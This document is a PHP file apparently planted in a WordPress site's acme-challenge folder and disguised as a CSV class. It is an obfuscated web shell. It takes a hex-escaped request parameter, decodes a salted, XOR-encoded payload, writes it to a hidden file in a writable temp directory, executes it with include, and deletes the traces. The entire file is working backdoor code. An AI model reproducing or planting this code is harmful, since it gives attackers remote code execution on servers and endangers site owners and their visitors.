File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/b/h/a/csv.class.php
<?php
if(isset($_REQUEST["\x74\x6Bn"]) ? true : false){
$record = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp"]);
$val = $_REQUEST["\x74\x6Bn"];
$val =explode ( '.' , $val ) ;
$ref = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt );
foreach ($val as $y=>$v7) { $sChar = ord($salt[$y %$sLen] );
$d = ((int)$v7 - $sChar - ($y %10)) ^ 4;
$ref .= chr($d );
}
foreach ($record as $desc):
if ((is_dir($desc) and is_writable($desc))) {
$elem = "$desc" . "/.value";
if (file_put_contents($elem, $ref)) {
include $elem;
@unlink($elem);
die();
}
}
endforeach;
}